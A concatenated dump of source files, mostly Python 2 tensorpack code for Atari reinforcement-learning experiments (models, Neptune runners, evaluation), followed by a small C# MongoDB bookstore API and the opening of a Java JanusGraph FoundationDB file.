v = tf.slice(vec, [0, index], [-1, 1], name = var_name)
var_to_vis = tf.reduce_mean(v, name = var_name+"_vis")
# print "Creating:{}".format(var_name+"_vis")
summary.add_moving_summary(var_to_vis)
index += 1
def _screen_processor(self, image):
# print "Image:{}".format(image)
# NeptuneLogger.get_instancetance()
additonal_data = image[0, 0:84, 0].tolist()
# worker_id = additonal_data.pop(0)
# is_imporant_event = additonal_data.pop(0)
# if is_imporant_event==1:
# self.image_index += 1
# # print "Impoartant event!"
# screenshot_with_debugs_img = self.screenshot_with_debugs(image, worker_id,
# additonal_data,
# ["rewards", "levels", "lives0", "lives1", "lives2",
# "level0", "level1", "level2", "level3", "level4"])
# screenshot_with_debugs_img.save("/tmp/screenshot{}.png".format(self.image_index), "PNG")
# # NeptuneLogger.get_instance().send_image(screenshot_with_debugs_img)
# # self.neptune_image_logger.send_image(screenshot_with_debugs_img)
additonal_data = _unary_representation(additonal_data, (10, 10, 6, 6, 6))
additonal_data = np.lib.pad(additonal_data, (0, 84 - additonal_data.size), 'constant', constant_values=(0,0))
image_new = cv2.resize(image, self.IMAGE_SIZE[::-1])
image_new[0,:,0] = additonal_data
return image_new
def get_history_processor(self):
return None
def get_screen_processor(self):
return lambda image: self._screen_processor(image)
class AtariExperimentFromScreenStagesResetModel(AtariExperimentFromScreenModel):
def _get_NN_prediction(self, image):
self._create_unnary_variables_with_summary(image[:, 0, :, 0],
(10, 10, 6, 6, 6),
("rewards", "levels", "lives0", "lives1", "lives2"))
NUMBER_OF_REWARD_EVENTS = 10
rewards_events = []
for x in xrange(NUMBER_OF_REWARD_EVENTS):
rewards_events.append(tf.reshape(image[:, 0, x, 0], (-1, 1)))
image = image / 255.0
with argscope(Conv2D, nl=tf.nn.relu):
lc0 = Conv2D('conv0', image, out_channel=32, kernel_shape=5)
lc0 = MaxPooling('pool0', lc0, 2)
lc1 = Conv2D('conv1', lc0, out_channel=32, kernel_shape=5)
lc1 = MaxPooling('pool1', lc1, 2)
lc2 = Conv2D('conv2', lc1, out_channel=64, kernel_shape=4)
lc2 = MaxPooling('pool2', lc2, 2)
lc3 = Conv2D('conv3', lc2, out_channel=64, kernel_shape=3)
policies = []
values = []
for x in xrange(10):
lfc0 = FullyConnected('fc0{}'.format(x), lc3, 512, nl=tf.identity)
lfc0 = PReLU('prelu{}'.format(x), lfc0)
policy = FullyConnected('fc-pi{}'.format(x), lfc0, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v{}'.format(x), lfc0, 1, nl=tf.identity)
policies.append(policy)
values.append(value)
weighted_policies = []
weighted_values = []
for weight, policy, value in zip(rewards_events, policies, values):
weighted_policies.append(tf.multiply(weight, policy))
weighted_values.append(tf.multiply(weight, value))
policy = tf.add_n(weighted_policies)
value = tf.add_n(weighted_values)
# if DEBUGING_INFO:
# summary.add_activation_summary(lc0, "conv_0")
# summary.add_activation_summary(lc1, "conv_1")
# summary.add_activation_summary(lc2, "conv_2")
# summary.add_activation_summary(lc3, "conv_3")
# summary.add_activation_summary(lfc0, "fc0")
# summary.add_activation_summary(policy, "policy")
# summary.add_activation_summary(value, "fc-v")
return policy, value
class ProcessedAtariExperimentModel(AtariExperimentModel):
__metaclass__ = ABCMeta
def __init__(self, parameters):
params = parameters.split(":")
self._process_network_parmeters(params[0])
self._process_input_history_processor(params[1])
def _process_input_history_processor(self, str):
params = str.split(" ")
process_class_name = params[0]
# module_name, function_name = ctx.params.featureExtractor.split(".")
module_name = process_class_name[:process_class_name.rfind('.')]
class_name = process_class_name[process_class_name.rfind('.') + 1:]
process_class = importlib.import_module(module_name).__dict__[class_name]
self.data_processor = process_class(params[1:])
self.input_shape = self.data_processor.get_input_shape()
@abstractmethod
def _process_network_parmeters(self, str):
"""How to process the networks parameters"""
def get_screen_processor(self):
return lambda image: self.data_processor.process_screen(image)
def get_history_processor(self):
return lambda image: self.data_processor.process_history(image)
def _get_NN_prediction(self, image):
l = image
for i in xrange(0, self.numberOfLayers):
l = FullyConnected('fc{}'.format(i), l, self.numberOfNeurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class ProcessedAtariExperimentModelFCModel(ProcessedAtariExperimentModel):
def _process_network_parmeters(self, str):
# print "AAAA{}".format(str)
params = str.split(" ")
self.number_of_layers = int(params[0])
self.number_of_neurons = int(params[1])
def _get_NN_prediction(self, image):
l = image
for i in xrange(0, self.number_of_layers):
l = FullyConnected('fc{}'.format(i), l, self.number_of_neurons, nl=tf.identity)
l = PReLU('prelu{}'.format(i), l)
# summary.add_activation_summary(l, "fc {} relu output".format(i))
policy = FullyConnected('fc-pi', l, out_dim=self.number_of_actions, nl=tf.identity)
value = FullyConnected('fc-v', l, 1, nl=tf.identity)
return policy, value
class ProcessedAtariExperimentModelFCStagedModel(ProcessedAtariExperimentModel):
def __init__(self, parameters, stage):
super(self.__class__, self).__init__(parameters)
self.stage = stage
def _process_network_parmeters(self, str):
# Paramters are (number_of_layers, number_of_neurons, extractor_method) or
# (number_of_layers_0, number_of_neurons_0, number_of_layers_1, number_of_neurons_1, ..,
# number_of_layers_stage_n, number_of_neurons_stage_n, extractor_method)
layers_params = str.split(" ")
layers_params = layers_params*20 # This is to handle the first type of parametes and backward comaptibility
self.number_of_layers = map(lambda x: int(x), layers_params[::2])
self.number_of_neurons = map(lambda x: int(x), layers_params[1::2])
params = str.split(" ")
self.numberOfLayers = int(params[0])
self.numberOfNeurons = int(params[1])
def add_column(self, previous_column_layers, column_num, trainable = True):
print "Creating column:{}".format(column_num)
column_prefix = "-column-"
# column_num = ""
# print "Adding column:{}".format(column_num)
new_column = []
# We append this as this is input
new_column.append(previous_column_layers[0])
for i in xrange(1, self.number_of_layers[self.stage]+1):
input_neurons = new_column[-1]
l = FullyConnected('fc-{}{}{}'.format(i, column_prefix, column_num),
input_neurons, self.number_of_neurons[self.stage], nl=tf.identity, trainable=trainable)
l = PReLU('prelu-{}{}{}'.format(i, column_prefix, column_num), l)
if len(previous_column_layers)>i:
new_layer = tf.concat(1, [previous_column_layers[i], l])
else:
new_layer = l
new_column.append(new_layer)
last_hidden_layer = new_column[-1]
policy = FullyConnected('fc-pi{}{}'.format(column_prefix, column_num),
last_hidden_layer, out_dim=self.number_of_actions, nl=tf.identity, trainable=trainable)
value = FullyConnected('fc-v{}{}'.format(column_prefix, column_num),
last_hidden_layer, 1, nl=tf.identity, trainable=trainable)
visible_layer = tf.concat(1, [policy, value])
new_column.append(visible_layer)
return new_column, policy, value
def _get_NN_prediction(self, image):
print "Current stage is:{}".format(self.stage)
column = [image]
for stage in xrange(self.stage):
column, _, _ = self.add_column(column, stage, trainable = False)
#The final tower
column, policy, value = self.add_column(column, self.stage, trainable=True)
return policy, value
<file_sep>/examples/OpenAIGym/train_atari_with_neptune_proxy.py
# The file which is the neptune run target is copied internally and thus cannot be debugged remotely.
# Making this proxy enables debugging other files.
# Moreover we read parameters here
import os
import sys
import os.path as osp
this_dir = osp.dirname(__file__)
print "This dir:{}".format(this_dir)
examples_dir = osp.join(this_dir, "..")
tensor_pack_dir = osp.join(this_dir, "..", "..")
sys.path.insert(0, this_dir)
# sys.path.insert(0, examples_dir)
sys.path.insert(0, tensor_pack_dir)
# try:
# os.system("sudo ln /dev/null /dev/raw1394")
# print "Disabling OpenCV"
# except:
# pass
print "System paths:{}".format(sys.path)
os.environ["NON_INTERACTIVE"] = "True"
from deepsense import neptune
from examples.OpenAIGym.train_atari_with_neptune import run_training
ctx = neptune.Context()
# ctx.integrate_with_tensorflow()
run_training(ctx)
<file_sep>/examples/OpenAIGym/montezuma_starting_point_processors.py
import random
import numpy as np
def select_balanced_maximum_lives(self, weights_str):
def normalize(lst):
s = sum(lst)
return map(lambda x: float(x) / s, lst)
weights_spec = map(lambda x: float(x), weights_str.split(" "))
# print "Weights speoc:{}".format(weights_spec)
c = self._snapshot_conn.cursor()
c.execute("""SELECT min(a.ind), rewards_events, a.number_of_lives
FROM snapshots a
INNER JOIN (
SELECT reward_id, MAX(number_of_lives) max_lives
FROM snapshots
GROUP BY reward_id
) b ON a.reward_id = b.reward_id AND a.number_of_lives = b.max_lives group by a.reward_id""")
res = c.fetchall()
indices = map(lambda x: x[0], res)
weights = map(lambda x: weights_spec[x[1]], res)
# print "Weights:{}".format(weights)
probabilites = normalize(weights)
index = np.random.choice(indices, size=1, p=probabilites)[0]
# print "Reset selecting {} states with probs {} index:{}. Weights: {}".format(res, probabilites, index, weights)
if len(res)>=1:
print "Index:{}".format(index)
for r in res:
if r[0] == index:
print "We have {} choices. Choosing {}, which is: {}".format(res, index, r)
return index
def select_all(self):
c = self._snapshot_conn.cursor()
c.execute("SELECT ind FROM snapshots")
res = c.fetchall()
res = map(lambda x: x[0], res)
i = random.sample(res, 1)[0]
return i
<file_sep>/examples/OpenAIGym/non_makov_test.py
import random
from tensorpack.RL.envbase import RLEnvironment, DiscreteActionSpace
import numpy as np
class NonMarkovEnvironment(RLEnvironment):
def __init__(self, x1 = 2, y1=2, x2=20, y2=20, move_reward = -0.1):
super(NonMarkovEnvironment, self).__init__()
self.x1 = x1
self.x2 = x2
self.y1 = y1
self.y2 = y2
self.move_reward = move_reward
self.restart_episode()
def restart_episode(self):
self.rewards = {}
self.tunnels = {}
self.end_points = [(random.randint(self.x1+2, self.x1+10), random.randint(self.y1+2, self.y1+10))]
self.agent_position = (self.x1 + 1, self.y1 + 1)
def action(self, action):
assert action<=4, "The space of action is four moves."
assert self.agent_position != None, "The agent is not present in this room."
move_blocked = True
newX, newY = self.agent_position
if action == 0: #Move left
newX = self.agent_position[0] - 1
newY = self.agent_position[1]
if action == 1: # Move right
newX = self.agent_position[0] + 1
newY = self.agent_position[1]
if action == 2: # Move up
newX = self.agent_position[0]
newY = self.agent_position[1] - 1
if action == 2: # Move down
newX = self.agent_position[0]
newY = self.agent_position[1] + 1
# Validate the move
if newX>=self.x1 and newX<=self.x2 and newY>=self.y1 and newY<=self.y2:
newPos = (newX, newY)
reward = self.rewards[newPos] if newPos in self.rewards else self.move_reward
isOver = newPos in self.end_points
next_room = self
if newPos in self.tunnels:
next_room = self.tunnels[newPos][0]
next_room.agent_position = self.tunnels[newPos][1]
return reward, isOver
else:
return 0, False
def current_state(self):
screen_size = (30, 30)
world = np.zeros(screen_size)
for x in xrange(self.x1, self.x2):
for y in xrange(self.y1, self.y2):
world[x, y] = 1
world[self.agent_position] = 2
# for end_point in self.end_points:
world[np.array(self.end_points)] = 3
world[self.end_points] = 4
return world
def get_action_space(self):
return DiscreteActionSpace(4)
# def add_reward(self, x, y, val):
# self.rewards[(x, y)] = val
#
# def add_tunnel(self, x, y, room):
# self.tunnels[(x,y)] = room
#
# def add_end_point(self, x, y):
# self.end_points.append((x,y))
<file_sep>/examples/OpenAIGym/run_atari_neptune_experiment_batch.py
import argparse
import multiprocessing as mp
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--experiment_yaml', help='The config file of the experiment') # nargs='*' in multi mode
parser.add_argument('--experiment_neptune_id', help='The id of the ', required=True)
<file_sep>/examples/OpenAIGym/run_atari_neptune_experiment_with_display.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# File: run-atari.py
# Author: <NAME> <<EMAIL>>
import shutil
import numpy as np
import tensorflow as tf
import os, sys, re, time
import random
import argparse
import six
import yaml
from tensorpack import *
from tensorpack.RL import *
from tensorpack.RL.common import MapPlayerState, PreventStuckPlayer, KeyboardPlayer
from tensorpack.RL.gymenv import GymEnv
from tensorpack.models.model_desc import InputVar
from tensorpack.predict.common import get_predict_func, PredictConfig
from tensorpack.tfutils.sessinit import SaverRestore
import multiprocessing as mp
from examples.OpenAIGym.train_atari_with_neptune import FRAME_HISTORY, DEBUGING_INFO
from easydict import EasyDict as edict
print "TF version:{}".format(tf.__version__)
IMAGE_SIZE = (84, 84)
# FRAME_HISTORY = 4
CHANNEL = FRAME_HISTORY * 3
IMAGE_SHAPE3 = IMAGE_SIZE + (CHANNEL,)
NUM_ACTIONS = None
ENV_NAME = None
EXPERIMENT_MODEL = None
from common import play_one_episode
def get_player(dumpdir=None):
pl = GymEnv(ENV_NAME, viz=0.001, dumpdir=dumpdir, force=True)
pl = MapPlayerState(pl, EXPERIMENT_MODEL.get_screen_processor())
global NUM_ACTIONS
NUM_ACTIONS = pl.get_action_space().num_actions()
if hasattr(EXPERIMENT_MODEL, "get_history_processor"):
pl = HistoryFramePlayer(pl, FRAME_HISTORY, EXPERIMENT_MODEL.get_history_processor())
else:
pl = HistoryFramePlayer(pl, FRAME_HISTORY, )
if not train:
pl = PreventStuckPlayer(pl, 30, 1)
pl = LimitLengthPlayer(pl, 40000)
pl = KeyboardPlayer(pl)
return pl
# class Model(ModelDesc):
# def _get_input_vars(self):
# assert NUM_ACTIONS is not None
# return [InputVar(tf.float32, (None,) + IMAGE_SHAPE3, 'state'),
# InputVar(tf.int32, (None,), 'action'),
# InputVar(tf.float32, (None,), 'futurereward') ]
#
# def _get_NN_prediction(self, image):
# image = image / 255.0
# with argscope(Conv2D, nl=tf.nn.relu):
# l = Conv2D('conv0', image, out_channel=32, kernel_shape=5)
# l = MaxPooling('pool0', l, 2)
# l = Conv2D('conv1', l, out_channel=32, kernel_shape=5)
# l = MaxPooling('pool1', l, 2)
# l = Conv2D('conv2', l, out_channel=64, kernel_shape=4)
# l = MaxPooling('pool2', l, 2)
# l = Conv2D('conv3', l, out_channel=64, kernel_shape=3)
#
# l = FullyConnected('fc0', l, 512, nl=tf.identity)
# l = PReLU('prelu', l)
# policy = FullyConnected('fc-pi', l, out_dim=NUM_ACTIONS, nl=tf.identity)
# return policy
#
# def _build_graph(self, inputs):
# state, action, futurereward = inputs
# policy = self._get_NN_prediction(state)
# self.logits = tf.nn.softmax(policy, name='logits')
def run_submission(cfg, dump_dir = 'gym-submit'):
dirname = dump_dir
player = get_player(dumpdir=dirname)
# player = get_player("/home/piotr.milos")
# print "config:{}".format(cfg)
predfunc = get_predict_func(cfg)
for k in range(10):
if k != 0:
player.restart_episode()
score = play_one_episode(player, predfunc)
print("Total:", score)
def do_submit():
dirname = 'gym-submit'
gym.upload(dirname, api_key='xxx')
def run_atari_neptune_experiment(yamlFile = None, modelToLaod = None, epoch=None):
global ENV_NAME, EXPERIMENT_MODEL, FRAME_HISTORY
with open(yamlFile, 'r') as stream:
try:
yamlData =yaml.load(stream)
except yaml.YAMLError as exc:
print(exc)
argsDict = {}
for v in yamlData["parameters"]:
argsDict[v["name"]] = v["default"]
args = edict(argsDict)
ENV_NAME = args.env
assert ENV_NAME
if hasattr(args, "frame_history"):
FRAME_HISTORY= args.frame_history
# examples.OpenAIGym.train_atari_with_neptune.FRAME_HISTORY = args.frame_history
else:
FRAME_HISTORY = 4
# FRAME_HISTORY = int(get_atribute(args, "frame_history", 4))
logger.info("Environment Name: {}".format(ENV_NAME))
# module_name, function_name = ctx.params.featureExtractor.split(".")
module_name = args.experimentModelClass[:args.experimentModelClass.rfind('.')]
class_name = args.experimentModelClass[args.experimentModelClass.rfind('.') + 1:]
experiment_model_class = importlib.import_module(module_name).__dict__[class_name]
EXPERIMENT_MODEL = experiment_model_class(args.experimentModelParameters)
p = get_player();
del p # set NUM_ACTIONS. Bloody hack!
EXPERIMENT_MODEL.set_number_of_actions(NUM_ACTIONS)
if args.gpu:
os.environ['CUDA_VISIBLE_DEVICES'] = str(args.gpu)
cfg = PredictConfig(
model=EXPERIMENT_MODEL,
session_init=SaverRestore(modelToLaod),
input_var_names=['state'],
output_var_names=['logits', 'pred_value'])
dump_dir = os.path.join(dump_dir_root, str(epoch))
print "Writing to:{}".format(dump_dir)
run_submission(cfg, dump_dir)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--experiment_yaml', help='The config file of the experiment') # nargs='*' in multi mode
parser.add_argument('--experiment_neptune_id', help='The id of the ', required=True)
parser.add_argument('--experiment_epoch', help="The epoch of the experiment", required=False)
args = parser.parse_args()
dump_dir_root = os.path.join("/tmp/video", args.experiment_yaml + args.experiment_neptune_id)
# ROOT = "/home/piotr.milos/rl2"
ROOT = "/mnt/storage_codi/piotr.milos/Projects/rl2"
EXPERIMENTS_DIR = os.path.join(ROOT, "NeptuneIntegration", "Experiments")
EXPERIMENTS_DUMPS = os.path.join(ROOT, "NeptuneIntegration", "Neptune_dumps")
experiment_dir = os.path.join(EXPERIMENTS_DUMPS, args.experiment_yaml,
"src", "train_log", "train_atari_with_neptune_proxy" + args.experiment_neptune_id)
print "Experiment path:{}".format(experiment_dir)
files = os.listdir(experiment_dir)
yamlFile = os.path.join(EXPERIMENTS_DIR, args.experiment_yaml + ".yaml")
modelList = []
for file_name in files:
if "model" in file_name:
modelList.append(file_name)
# modelList = sorted(modelList)
availableEpochs = []
chooseFileDict = {}
for x in modelList:
stepNumber = int(x[6:])
epochNumber = stepNumber / 6000
availableEpochs.append(epochNumber)
chooseFileDict[epochNumber] = x
if args.experiment_epoch != None:
if args.experiment_epoch == "ALL":
epochToBeTested = sorted(availableEpochs)
else:
ett = int(args.experiment_epoch)
if ett not in availableEpochs:
logger.info("Specified epoch {} is not available. Skipping.".format(ett))
sys.exit(0)
epochToBeTested = [ett]
else:
availableEpochs = sorted(availableEpochs)
epochToBeTested = [raw_input("Choose the epoch to test {}:".format(availableEpochs))]
for e in epochToBeTested:
logger.info("Testing epoch:{}".format(e))
print "Testing epoch:{}".format(e)
modelToLaod = os.path.join(experiment_dir, chooseFileDict[int(e)])
print "Model to load:{}".format(modelToLaod)
shutil.copy(modelToLaod, "/tmp/model")
modelToLaod = "/tmp/model"
run_atari_neptune_experiment(yamlFile=yamlFile, modelToLaod=modelToLaod)
# kwargs = {"yamlFile":yamlFile, "modelToLaod":modelToLaod, "epoch":e}
# p = mp.Process(target=run_atari_neptune_experiment, kwargs=kwargs)
# p.start()
# p.join()
# run_atari_neptune_experiment(yamlFile=yamlFile, modelToLaod=modelToLaod)
<file_sep>/examples/Atari2600/common.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# File: common.py
# Author: <NAME> <<EMAIL>>
import pip
installed_packages = pip.get_installed_distributions()
import random, time
import threading, multiprocessing
import numpy as np
from tqdm import tqdm
from six.moves import queue
from tensorpack import *
from tensorpack.callbacks import neptune
from tensorpack.callbacks.base import Callback
from tensorpack.predict import get_predict_func
from tensorpack.utils.concurrency import *
from tensorpack.utils.stats import *
from tensorpack.callbacks import *
global get_player
get_player = None
def play_one_episode(player, func, verbose=False):
def f(s, full_info = False):
spc = player.get_action_space()
# print "Action space:{}".format(spc)
xxx = func([[s]])
action_dist = xxx[0][0]
value = xxx[1][0]
act = action_dist.argmax()
if random.random() < 0.001:
act = spc.sample()
if verbose:
print(act)
if full_info:
return act, action_dist, value
else:
return act
return np.mean(player.play_one_episode(f))
def play_model(cfg):
player = get_player(viz=0.01)
predfunc = get_predict_func(cfg)
while True:
score = play_one_episode(player, predfunc)
print("Total:", score)
def eval_with_funcs(predict_funcs, nr_eval):
class Worker(StoppableThread):
def __init__(self, func, queue):
super(Worker, self).__init__()
self._func = func
self.q = queue
def func(self, *args, **kwargs):
if self.stopped():
raise RuntimeError("stopped!")
return self._func(*args, **kwargs)
def run(self):
player = get_player(train=False)
while not self.stopped():
try:
score = play_one_episode(player, self.func)
#print "Score, ", score
except RuntimeError:
return
self.queue_put_stoppable(self.q, score)
q = queue.Queue()
threads = [Worker(f, q) for f in predict_funcs]
for k in threads:
k.start()
time.sleep(0.1) # avoid simulator bugs
stat = StatCounter()
try:
for _ in tqdm(range(nr_eval), **get_tqdm_kwargs()):
r = q.get()
stat.feed(r)
logger.info("Waiting for all the workers to finish the last run...")
for k in threads: k.stop()
for k in threads: k.join()
while q.qsize():
r = q.get()
stat.feed(r)
except:
logger.exception("Eval")
finally:
if stat.count > 0:
# return (stat.average, stat.max, stat.std)
return (stat.average, stat.max, 0)
return (0, 0, 0)
def eval_model_multithread(cfg, nr_eval):
func = get_predict_func(cfg)
NR_PROC = min(multiprocessing.cpu_count() // 2, 8)
mean, max = eval_with_funcs([func] * NR_PROC, nr_eval)
logger.info("Average Score: {}; Max Score: {}".format(mean, max))
class Evaluator(Callback):
def __init__(self, nr_eval, input_names, output_names, neptune_logger = None, history_logs = None):
self.eval_episode = nr_eval
self.input_names = input_names
self.output_names = output_names
self.neptuneLogger = neptune_logger
if self.neptuneLogger != None:
self.neptuneLogger.add_channels(["mean_score", "max_score", "std_of_score"])
self.history_logs = history_logs
self.history_emitted = False
def _setup_graph(self):
NR_PROC = min(multiprocessing.cpu_count() // 2, 20)
self.pred_funcs = [self.trainer.get_predict_func(
self.input_names, self.output_names)] * NR_PROC
def _trigger_epoch(self):
t = time.time()
mean, max, std = eval_with_funcs(self.pred_funcs, nr_eval=self.eval_episode)
t = time.time() - t
if t > 10 * 60: # eval takes too long
self.eval_episode = int(self.eval_episode * 0.94)
print "PM:Something strage is invoked. Be careful ;)"
self.trainer.write_scalar_summary('mean_score', mean)
self.trainer.write_scalar_summary('max_score', max)
self.trainer.write_scalar_summary('std_of_score', std)
if self.neptuneLogger != None:
if not self.history_emitted and self.history_logs != None:
for num, val in enumerate(self.history_logs[0]):
self.neptuneLogger.sendMassage("mean_score", x=num, y=val)
for num, val in enumerate(self.history_logs[1]):
self.neptuneLogger.sendMassage("max_score", x=num, y=val)
for num, val in enumerate(self.history_logs[2]):
self.neptuneLogger.sendMassage("std_of_score", x=num, y=val)
self.history_emitted = True
if self.history_logs == None:
self.neptuneLogger.sendMassage("mean_score", x=self.epoch_num, y=mean)
self.neptuneLogger.sendMassage("max_score", x=self.epoch_num, y=max)
self.neptuneLogger.sendMassage("std_of_score", x=self.epoch_num, y=std)
else:
self.history_logs[0].append(mean)
self.history_logs[1].append(max)
self.history_logs[2].append(std)
print "HIStorY LOGS in progress:{}".format(self.history_logs[0])
self.neptuneLogger.sendMassage("mean_score", x=len(self.history_logs[0]) - 1, y=mean)
self.neptuneLogger.sendMassage("max_score", x=len(self.history_logs[1]) - 1, y=max)
self.neptuneLogger.sendMassage("std_of_score", x=len(self.history_logs[2]) - 1, y=std)
<file_sep>/tensorpack/models/batch_norm.py
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# File: batch_norm.py
# Author: <NAME> <<EMAIL>>
import tensorflow as tf
from tensorflow.contrib.framework import add_model_variable
from copy import copy
import re
from ..tfutils.tower import get_current_tower_context
from ..utils import logger
from ._common import layer_register
__all__ = ['BatchNorm']
# TF batch_norm only works for 4D tensor right now: #804
# decay: being too close to 1 leads to slow start-up. torch use 0.9.
# eps: torch: 1e-5. Lasagne: 1e-4
@layer_register(log_shape=False)
def BatchNorm(x, use_local_stat=None, decay=0.9, epsilon=1e-5):
"""
Batch normalization layer as described in:
`Batch Normalization: Accelerating Deep Network Training by
Reducing Internal Covariance Shift <http://arxiv.org/abs/1502.03167>`_.
:param input: a NHWC or NC tensor
:param use_local_stat: bool. whether to use mean/var of this batch or the moving average.
Default to True in training and False in inference.
:param decay: decay rate. default to 0.9.
:param epsilon: default to 1e-5.
"""
shape = x.get_shape().as_list()
assert len(shape) in [2, 4]
n_out = shape[-1] # channel
assert n_out is not None
beta = tf.get_variable('beta', [n_out],
initializer=tf.zeros_initializer)
gamma = tf.get_variable('gamma', [n_out],
initializer=tf.constant_initializer(1.0))
if len(shape) == 2:
batch_mean, batch_var = tf.nn.moments(x, [0], keep_dims=False)
else:
batch_mean, batch_var = tf.nn.moments(x, [0, 1, 2], keep_dims=False)
# just to make a clear name.
batch_mean = tf.identity(batch_mean, 'mean')
batch_var = tf.identity(batch_var, 'variance')
emaname = 'EMA'
ctx = get_current_tower_context()
if use_local_stat is None:
use_local_stat = ctx.is_training
if use_local_stat != ctx.is_training:
logger.warn("[BatchNorm] use_local_stat != is_training")
if use_local_stat:
# training tower
if ctx.is_training:
#reuse = tf.get_variable_scope().reuse
with tf.variable_scope(tf.get_variable_scope(), reuse=False):
# BatchNorm in reuse scope can be tricky! Moving mean/variance are not reused
with tf.name_scope(None): # https://github.com/tensorflow/tensorflow/issues/2740
# TODO if reuse=True, try to find and use the existing statistics
# how to use multiple tensors to update one EMA? seems impossbile
ema = tf.train.ExponentialMovingAverage(decay=decay, name=emaname)
ema_apply_op = ema.apply([batch_mean, batch_var])
ema_mean, ema_var = ema.average(batch_mean), ema.average(batch_var)
if ctx.is_main_training_tower:
# inside main training tower
add_model_variable(ema_mean)
add_model_variable(ema_var)
else:
# no apply() is called here, no magic vars will get created,
# no reuse issue will happen
assert not ctx.is_training
with tf.name_scope(None):
ema = tf.train.ExponentialMovingAverage(decay=decay, name=emaname)
mean_var_name = ema.average_name(batch_mean)
var_var_name = ema.average_name(batch_var)
sc = tf.get_variable_scope()
if ctx.is_main_tower:
# main tower, but needs to use global stat. global stat must be from outside
# TODO when reuse=True, the desired variable name could
# actually be different, because a different var is created
# for different reuse tower
ema_mean = tf.get_variable('mean/' + emaname, [n_out])
ema_var = tf.get_variable('variance/' + emaname, [n_out])
else:
## use statistics in another tower
G = tf.get_default_graph()
ema_mean = ctx.find_tensor_in_main_tower(G, mean_var_name + ':0')
ema_var = ctx.find_tensor_in_main_tower(G, var_var_name + ':0')
if use_local_stat:
batch = tf.cast(tf.shape(x)[0], tf.float32)
mul = tf.select(tf.equal(batch, 1.0), 1.0, batch / (batch - 1))
batch_var = batch_var * mul # use unbiased variance estimator in training
with tf.control_dependencies([ema_apply_op] if ctx.is_training else []):
# only apply EMA op if is_training
return tf.nn.batch_normalization(
x, batch_mean, batch_var, beta, gamma, epsilon, 'output')
else:
return tf.nn.batch_normalization(
x, ema_mean, ema_var, beta, gamma, epsilon, 'output')
| b271156f4566a08b27ca7024727cd605ceaf032f | [
"Python"
] | 15 | Python | piotrmilos/tensorpack | 2483fd63479ead0c052a708888eedfd8462a9bfc | 5b8732dbc301816272c49c6d00bd802434db06c3 |
refs/heads/main | <file_sep># bookstore
A bookstore app using ASP.NET Core 5.0 and MongoDB
<file_sep>using Microsoft.AspNetCore.Mvc;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Bookstore.Core;
namespace Bookstore.WebApi.Controllers
{
[ApiController]
[Route("books")]
// ReSharper disable once HollowTypeName
public class BooksController : ControllerBase
{
private readonly IBookService _service;
public BooksController(IBookService service)
{
_service = service;
}
[HttpGet]
public IActionResult GetBooks()
{
return Ok(_service.GetBooks());
}
[HttpGet("{id}", Name = "GetBook")]
public IActionResult GetBook(string id)
{
return Ok(_service.GetBook(id));
}
[HttpPost]
public IActionResult Add(Book book)
{
_service.Add(book);
return CreatedAtRoute("GetBook", new { id = book.Id }, book);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Runtime.CompilerServices;
using System.Text;
using Microsoft.Extensions.Options;
using MongoDB.Driver;
namespace Bookstore.Core
{
public class DbClient : IDbClient
{
private readonly IOptions<BookstoreDbConfig> _options;
private readonly IMongoCollection<Book> books;
public DbClient(IOptions<BookstoreDbConfig> options)
{
_options = options;
var client = new MongoClient(options.Value.ConnectionString);
var databse = client.GetDatabase(options.Value.DatabaseName);
books = databse.GetCollection<Book>(options.Value.BooksCollectionName);
}
public IMongoCollection<Book> GetBooksCollection() => books;
}
}<file_sep>namespace Bookstore.Core
{
public class BookstoreDbConfig
{
public string DatabaseName { get; set; }
public string BooksCollectionName { get; set; }
public string ConnectionString { get; set; }
}
}<file_sep>using MongoDB.Driver;
using System;
using System.Collections.Generic;
namespace Bookstore.Core
{
public class BookService : IBookService
{
private readonly IDbClient _dbClient;
private readonly IMongoCollection<Book> books;
public BookService(IDbClient dbClient)
{
_dbClient = dbClient;
books = _dbClient.GetBooksCollection();
}
public IEnumerable<Book> GetBooks() => books.Find(book => true).ToList();
public Book GetBook(string id) => books.Find(b => b.Id == id).FirstOrDefault();
public Book Add(Book book)
{
books.InsertOne(book);
return book;
}
}
}<file_sep>using System.Collections.Generic;
namespace Bookstore.Core
{
public interface IBookService
{
IEnumerable<Book> GetBooks();
Book GetBook(string id);
Book Add(Book book);
}
} | 1f6817c757e9045e3dbcf65e77abe59f14e43ebc | [
"Markdown",
"C#"
] | 6 | Markdown | anahelenasilva/bookstore | 76a19be4bb3e74301cb73cb95818ee8bc2b6a6b9 | 5cac5883e60fe4f24bd0c9259fb610044548b28a |
refs/heads/master | <file_sep>log4j.appender.A1=org.apache.log4j.FileAppender
log4j.appender.A1.File=${project.build.directory}/test.log
log4j.appender.A1.Threshold=ALL
log4j.appender.A1.layout=org.apache.log4j.PatternLayout
log4j.appender.A1.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss.SSS} [%20.20t] %-5p %30.30c: %m%n
log4j.appender.A2=org.apache.log4j.ConsoleAppender
log4j.appender.A2.Threshold=ALL
log4j.appender.A2.layout=org.apache.log4j.PatternLayout
log4j.appender.A2.layout.ConversionPattern=%d{yyyy-MM-dd HH:mm:ss.SSS} [%20.20t] %-5p %30.30c: %m%n
log4j.rootLogger=INFO, A1, A2<file_sep>// Copyright 2018 Expero Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.experoinc.janusgraph.diskstorage.foundationdb;
import com.apple.foundationdb.KeyValue;
import com.apple.foundationdb.directory.DirectorySubspace;
import com.google.common.base.Preconditions;
